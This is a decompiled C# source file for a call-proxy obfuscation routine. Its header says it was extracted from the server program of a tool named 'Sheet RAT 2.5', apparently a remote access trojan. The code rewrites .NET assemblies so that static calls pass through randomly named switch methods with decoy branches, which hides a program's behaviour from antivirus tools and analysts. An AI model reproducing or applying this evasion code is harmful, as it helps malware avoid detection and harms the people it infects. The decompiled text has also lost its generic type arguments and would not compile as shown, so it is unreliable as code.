// Decompiled with JetBrains decompiler // Type: MindLated.Protection.Proxy.ProxyMeth // Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA // Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe using dnlib.DotNet; using dnlib.DotNet.Emit; using System; using System.Windows.Forms; using System.Collections.Generic; using System.Linq; //#nullable disable namespace MindLated.Protection.Proxy { public static class ProxyMeth { public static Random rand = new Random(); public static List MemberRefList = new List(); public static void ScanMemberRef(ModuleDef module) { foreach (TypeDef type in (IEnumerable) module.Types) { foreach (MethodDef method in (IEnumerable) type.Methods) { if (method.HasBody && method.Body.HasInstructions) { for (int index = 0; index < method.Body.Instructions.Count - 1; ++index) { if (method.Body.Instructions[index].OpCode == OpCodes.Call) { try { MemberRef operand = (MemberRef) method.Body.Instructions[index].Operand; if (!operand.HasThis) ProxyMeth.MemberRefList.Add(operand); } catch { } } } } } } } public static MethodDef GenerateSwitch(MemberRef original, ModuleDef md) { try { List list = original.MethodSig.Params.ToList(); list.Add((TypeSig) md.CorLibTypes.Int32); MethodImplAttributes implFlags = MethodImplAttributes.IL; MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig; MethodDefUser methodDefUser = new MethodDefUser((UTF8String) string.Format("ProxyMeth{0}", ProxyMeth.rand.Next(0, int.MaxValue)), MethodSig.CreateStatic(original.MethodSig.RetType, list.ToArray()), implFlags, flags); methodDefUser.Body = new CilBody(); MethodDef methodDef = (MethodDef) methodDefUser; methodDef.Body.Variables.Add(new Local((TypeSig) md.CorLibTypes.Int32)); methodDef.Body.Variables.Add(new Local((TypeSig) md.CorLibTypes.Int32)); methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg_0)); List instructionList = new List(); Instruction instruction1 = new Instruction(OpCodes.Switch); methodDef.Body.Instructions.Add(instruction1); Instruction instruction2 = new Instruction(OpCodes.Br_S); methodDef.Body.Instructions.Add(instruction2); for (int index1 = 0; index1 < 5; ++index1) { for (int index2 = 0; index2 <= original.MethodSig.Params.Count - 1; ++index2) { methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[index2])); if (index2 == 0) instructionList.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[index2])); } Instruction instruction3 = Instruction.Create(OpCodes.Ldc_I4, index1); methodDef.Body.Instructions.Add(instruction3); methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); } Instruction instruction4 = Instruction.Create(OpCodes.Ldnull); methodDef.Body.Instructions.Add(instruction4); methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); instruction2.Operand = (object) instruction4; instruction1.Operand = (object) instructionList; return methodDef; } catch { return (MethodDef) null; } } public static void Execute(ModuleDef module) { ProxyMeth.ScanMemberRef(module); foreach (TypeDef type in module.GetTypes()) { if (!type.IsGlobalModuleType) { foreach (MethodDef methodDef1 in type.Methods.ToArray()) { if (methodDef1.HasBody && !methodDef1.Name.Contains(nameof (ProxyMeth))) { IList instructions = methodDef1.Body.Instructions; for (int index1 = 0; index1 < instructions.Count; ++index1) { if (methodDef1.Body.Instructions[index1].OpCode == OpCodes.Call) { try { MemberRef original = (MemberRef) methodDef1.Body.Instructions[index1].Operand; if (!original.HasThis) { MethodDef methodDef2 = ProxyMeth.GenerateSwitch(original, module); methodDef1.DeclaringType.Methods.Add(methodDef2); instructions[index1].OpCode = OpCodes.Call; instructions[index1].Operand = (object) methodDef2; int num = ProxyMeth.rand.Next(0, 5); for (int index2 = 0; index2 < methodDef2.Body.Instructions.Count - 1; ++index2) { if (methodDef2.Body.Instructions[index2].OpCode == OpCodes.Ldc_I4) { if (string.Compare(methodDef2.Body.Instructions[index2].Operand.ToString(), num.ToString(), StringComparison.Ordinal) != 0) { methodDef2.Body.Instructions[index2].OpCode = OpCodes.Call; methodDef2.Body.Instructions[index2].Operand = (object) ProxyMeth.MemberRefList.Where((Func) (m => m.MethodSig.Params.Count == original.MethodSig.Params.Count)).ToList().Random(); } else { methodDef2.Body.Instructions[index2].OpCode = OpCodes.Call; methodDef2.Body.Instructions[index2].Operand = (object) original; } } } methodDef1.Body.Instructions.Insert(index1, Instruction.CreateLdcI4(num)); } } catch { } } } } } } } } } }